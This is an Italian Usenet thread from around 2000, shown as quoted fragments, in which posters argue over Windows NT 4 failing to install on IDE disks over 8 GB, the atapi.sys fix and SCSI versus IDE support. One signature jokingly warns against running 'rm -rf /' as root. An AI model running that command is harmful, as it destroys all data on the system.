sarebbe un S.O. piu' facile di uno Unix... ca.....la, almeno Linux si installa,
ignora (forse) il resto dello spazio ma si installa.
-> > Come ho gia' detto, ora NT non mi serve, non lo installo e posso imporre
-> di non
-> > installarlo, se devo spendere soldi preferisco i corsi della CISCO.
-> 
-> Bravo, bene, non usare NT, nessuno te lo ha chiesto o te lo impone, ma
-> almeno documentati prima di sparare.
Boh, sai, per qualcosa che paghi mi aspetto che non mi faccia passare notti insonni.
Per la cronaca poi, non era la built 1381, ma una (non ricordo il numero) piu' recente,
forse di un anno fa, ed un anno fa i dischi cosi' c'erano.


 culo:-) <----battuta, non vi incazzate :-)
Gia', sono molti mesi che non vedo uno schermo blu sui miei NT e tutti i
miei cd sono bootabili.
Saro' sfortunato al gioco ma in fatto di donne* e NT ho una fortuna
sfacciata ;-)
*mia moglie, non pensate male, porcelloni
Ciao
Francesco

 cilindri mi pare)
IMHO,  questo non  denota una  grande larghezza  di vedute  da parte
della Microsoft.
-- 
                                                                     __
 __                                                              _  ///
| _        Student in Computer Science, Swiss Federal Institute  \\///
|__|iambo      of Technology - mailto:
ggia...@iiic.ethz.ch
       \X/

 della Microsoft.
NT e' pensato e ottimizzato per lavorare su dischi SCSI.
ll supporto per i dischi IDE non e' mai stato il massimo, comunque quando
sono usciti i dischi piu' grandi di 8 giga e' uscito anche l'atapi.sys
aggiornato.
Ciao
Francesco

On Tue, 7 Mar 2000 20:09:25 +0100, Giambo <gia...@no.spam.please> wrote:
-> On Mon, 6 Mar 2000 16:41:22 +0100, Francesco Bertani wrote:
-> 
-> > Per forza, quando e'  uscito NT dischi rigidi IDE piu'  grandi di 8 GB
-> > non esistevano,  per cui ti da'  un errore (disco piu'  grande di 1024
-> > cilindri mi pare)
-> 
-> IMHO,  questo non  denota una  grande larghezza  di vedute  da parte
-> della Microsoft.
Visto che e' da quando e' stato messo a punto EIDE che si sapeva del limite.


 forse di un anno fa, ed un anno fa i dischi cosi' c'erano.
La buid rilasciata di NT e' *sempre* la 1381, al massimo ha compreso il SP1,
ma la build e' quella.
Ciao
Francesco

 wrote in message
-> slrn8c7scn....@goldrake.gianluca.org...
-> > Capisco. Ovviamente era troppo complicato fare in modo semplicemente che
-> > ignorasse lo spazio sopra il 1024 cilindro, vero ? Ovviamente e' talmente
-> > semplice installarlo che ti restituisce un errore non riportato sui
-> > manuali, e non ti dice come fare a risolverlo... semplicissimo. E questo
-> > sarebbe un S.O. piu' facile di uno Unix... ca.....la, almeno Linux si
-> installa,
-> > ignora (forse) il resto dello spazio ma si installa.
-> 
-> Bha, basta fare una ricerca sulla technet per trovare la spiegazione.
-> E comunque nela maggior parte dei casi* puoi tranquillamente fregartene del
-> messaggio di errore, ed installare lo stesso, NT vedra solo 8GB, poi
-> installi un SP => del 4 e ti trovi tutto il disco disponibile.
Vero, ma mentre ho il PC inchiodato perche' NT non si installa (e non ho
altri SO installati) mi torna difficile fare ricerche su siti, news, etc. etc.
In ogni caso NT non e' che non mi vedeva il resto del disco, ma semplicemente
si inchiodava uscendo dal processo di installazione.
-> > -> Bravo, bene, non usare NT, nessuno te lo ha chiesto o te lo impone, ma
-> > -> almeno documentati prima di sparare.
-> >
-> > Boh, sai, per qualcosa che paghi mi aspetto che non mi faccia passare
-> notti insonni.
-> 
-> E tu hai passato notti insonni su una cosa riportata su *TUTTE* le faq di
-> NT, sulla KB di MS, su cui compaiono uno o due post la settimana su tutti i
-> gruppi dedicati a NT?
Vedi sopra. Nel momento in cui ho avuto l'accesso alla rete non dovevo piu'
installare NT, quindi non mi interessava piu'.


 si inchiodava uscendo dal processo di installazione.
Sfiga, come ti ho detto la maggior parte delle volte da errore ma si puo'
proseguire nell'installazione.
Ciao
Francesco

 wrote in message
-> slrn8ccmno....@goldrake.gianluca.org...
-> 
-> > Vero, ma mentre ho il PC inchiodato perche' NT non si installa (e non ho
-> > altri SO installati) mi torna difficile fare ricerche su siti, news, etc.
-> etc.
-> 
-> Potevi sempre telefonare a MS, ti mandavano il dischettino con l'atapi.sys
-> aggiornato.
E con cio'? Io non avevo comunque la possibilita' di lavorare in attesa del
disco. Il mio problema non e' che potessi vedere tutto il disco, ma che 
si installasse (figurati, mi bastavano 600 Mb) anche se non vedeva tutto il
disco (che in ogni caso non avrebbe avuto)
-> > In ogni caso NT non e' che non mi vedeva il resto del disco, ma
-> semplicemente
-> > si inchiodava uscendo dal processo di installazione.
-> 
-> Sfiga, come ti ho detto la maggior parte delle volte da errore ma si puo'
-> proseguire nell'installazione.
Veramente non e' la prima volta che mi succede una cosa simile, ma le 
altre volte avevo un dump.


Gia', sono molti mesi che non vedo uno schermo blu sui miei NT
Ma mettere un monitor a colori, no eh??
Obelix

 NT e' pensato e ottimizzato per lavorare su dischi SCSI.
Mi vuoi dire che c'e' un  Filesystem per dischi SCSI e un Filesystem
per dischi IDE ?


 altre volte avevo un dump.
La soluzione c'e', scaricati atapi.sys.
Ciao
Francesco

 Ma mettere un monitor a colori, no eh??
Azz, che idea!!
Dici che e' per quello che quando guardo le donnine si internet si vedono
tutte in B/N??
Ciao
Francesco

 Ma mettere un monitor a colori, no eh??
Questa e' carina.


 wrote in message
-> slrn8cd19k....@goldrake.gianluca.org...
-> > E con cio'? Io non avevo comunque la possibilita' di lavorare in attesa
-> del
-> > disco. Il mio problema non e' che potessi vedere tutto il disco, ma che
-> > si installasse (figurati, mi bastavano 600 Mb) anche se non vedeva tutto
-> il
-> > disco (che in ogni caso non avrebbe avuto)
-> 
-> Non diciamo cavolate, per favore, se incontri un problema in installazione
-> con OS2, Solaris, Linux, OS400 chi te lo risolve, lo spirito santo?
-> O hai un accesso alternativo ad internet e ti cerchi da solo la soluzione o
-> telefoni all'assistenza e aspetti.
Perche' cavolate ? Ai tempi di PC ne avevo uno solo di PC, adesso la cosa sarebbe 
diversa, ma allora non lo era.
e poi molto dipende che problema hai durante l'installazione...
-> > Veramente non e' la prima volta che mi succede una cosa simile, ma le
-> > altre volte avevo un dump.
-> 
-> La soluzione c'e', scaricati atapi.sys.
La soluzione c'e', non uso NT


 La soluzione c'e', non uso NT
Appunto 2, che me ne frega?
Io mica ti dico di usare NT, ti dico solo di documentarti prima di scrivere.
Ciao
Francesco

Ma mettere un monitor a colori, no eh??
ROFL!
-- 
Lorenzo
"Given enough eyeballs, all bugs are shallow", Linus'Law
(per rispondere via email fai un rot13 dell'indirizzo)
(apply a rot13 to reply)

 wrote in message
-> slrn8ceq4h....@goldrake.gianluca.org...
-> > Perche' cavolate ? Ai tempi di PC ne avevo uno solo di PC, adesso la cosa
-> sarebbe
-> > diversa, ma allora non lo era.
-> 
-> Appunto, sarebbe stato lo stesso con qualunque SO.
No, perche' se il SO si fosse installato _anche_ ignorando il disco
sopra i primi 8Gb sarei stato in grado di lavorare.


 sopra i primi 8Gb sarei stato in grado di lavorare.
Ci rinuncio, parli (scrivi) solo per far polemica?
Ciao
Francesco

 wrote in message
-> slrn8cf8fi....@goldrake.gianluca.org...
-> 
-> > -> Appunto, sarebbe stato lo stesso con qualunque SO.
-> >
-> > No, perche' se il SO si fosse installato _anche_ ignorando il disco
-> > sopra i primi 8Gb sarei stato in grado di lavorare.
-> 
-> Ci rinuncio, parli (scrivi) solo per far polemica?
No, semplicemente notavo che:
a) l'elasticita' di NT di fronte agli errori e' tendente a zero
b) la semplicita' di NT e' tende a meno infinito.
Ora, visto che faccio polemica, dimmi un motivo serio e valido perche'
NT non si possa installare su dischi superiori gli 8.4 Gb (considera
che quello che viene considerato un giocattolo, cioe' Linux, lo fa) 
ignorando lo spazio in piu'


 ignorando lo spazio in piu'
NT si installa su dischi sopra gli 8Gb, spesso ti da errore ma riesci lo
stesso ad installare, altre volte (dipende dalla combinazione
disco/bios/modalita' di traslazione) richiede obligatoriamoente il fix.
Il problema vero e' che il CD di NT e' ancora quello prodotto nel 96 con
solo SP1.
Se MS si decidesse a rilasciare un Cd di NT con gia' SP4 o superiore il
problema (questo e tanti altri) non si presenterebbe e farebbe felici i suoi
utente che dovrebbero sbattersi meno ad installare i SP.
Per curiosita', linux nel 96 supportava dischi IDE maggiori di 8Gb? (non per
far polemica, non lo so)
A dire il vero su it.comp.os.win.nt qualcuno ha detto che ora in giro c'e'
una versione di NT con gia' compreso SP4 ma io non l'ho mai visto, forse
Gabriele o Zanellotto possono confermare.
Ciao
Francesco

 wrote in message
-> slrn8cfqo3....@goldrake.gianluca.org...
-> Per curiosita', linux nel 96 supportava dischi IDE maggiori di 8Gb? (non per
-> far polemica, non lo so)
Credo che li ignorasse


 Gabriele o Zanellotto possono confermare.
No, Solo SP1 con il CD SP4 dentro nella scatola.


No, Solo SP1 con il CD SP4 dentro nella scatola.
Ok, infatti gli ultimi li avevo visti cosi'.
Ciao
Francesco

per dischi IDE ?
No voglio dire che in NT il sottosistema di gestione dei dischi SCSI e
migliore di quello per i dischi IDE.
Tanto per fare un'esempio, NT non supporta la gestione di periferiche
con diversa modalita' di accesso (PIO, DMA e UltraDMA) su un canale
IDE.
Viaggia tutto alla velocita' della periferica piu' lenta.
Ciao
Francesco


a Debian GNU/Linux "Slink" is running on Linux 2.2.14
-/|\-/|\-/|\-/|\-/|\-/|\-/|\-/|\-/|\-/|\-/|\-/|\-/|\-/|\-/|\
mv "ANY SPAM" /dev/null
ln -s 
http://www.winchester.cjb.net
 "web site"
P.S.: Never try the command "rm -rf /" by root
-/|\-/|\-/|\-/|\-/|\-/|\-/|\-/|\-/|\-/|\-/|\-/|\-/|\-/|\-/|\

 migliore di quello per i dischi IDE.
Non ho  capito: Il  fatto che i  dischi SCSI con  piu' di  8GB siano
visibili, ma quelli IDE no, non e' un problema del FileSystem ?
-- 
                                                                     __
 __                                                              _  ///
| _        Student in Computer Science, Swiss Federal Institute  \\///
|__|iambo      of Technology - mailto:
ggia...@iiic.ethz.ch
       \X/

mi piace troppo :-)
Vai pure, e' free per uso non professionale...
Obelix

 visibili, ma quelli IDE no, non e' un problema del FileSystem ?
No, e' un problema di driver di gestione del disco non di fileystem.
Devi aggiornare atapi.sys, che gestisce i dispositivi IDE, non ntfs.sys (mi
pare sia lui) che gestisce il file sistem NTFS.
NTFS supporta partizioni di qualche TB (terabyte).
Ciao
Francesco

 visibili, ma quelli IDE no, non e' un problema del FileSystem ?
No, e' una questione di come le due diverse interfacce traslano settori e tr
acce.
Bye
Gianluca Zanelotto
Ducati ST2 "Red Devil"

 wrote:
-> Giambo <gia...@no.spam.please> wrote in message
-> slrn8cl7ma...@pc.casa.ch...
-> > Non ho  capito: Il  fatto che i  dischi SCSI con  piu' di  8GB siano
-> > visibili, ma quelli IDE no, non e' un problema del FileSystem ?
-> 
-> No, e' un problema di driver di gestione del disco non di fileystem.
-> Devi aggiornare atapi.sys, che gestisce i dispositivi IDE, non ntfs.sys (mi
-> pare sia lui) che gestisce il file sistem NTFS.
-> 
-> NTFS supporta partizioni di qualche TB (terabyte).
Tempo, tempo.... NTFS e' un file system, IDE e' un'interfaccia HW... che 
cavolo c'entrano ?
bye
Gianluca
-- 
Home Page                	Contro i brevetti del sw     Boicotta Microsoft
www.infinito.it/utenti/chewbe
 
no-patents.prosa.it/
 
www.boycott-ms.org/
 
"If we have to file a thousand lawsuits a day, we'll do it.
It's less expensive than losing CONTROL of YOUR creative works."
---Jack Valenti, President and CEO, Motion Picture Association of America

 cavolo c'entrano ?
Niente, era Giambo che pensava che il limite deglio 8Gb su dischi IDE fosse
dovuto al file system invece che all'hardware.
Ciao
Francesco

bellabellabellapropriobella!!!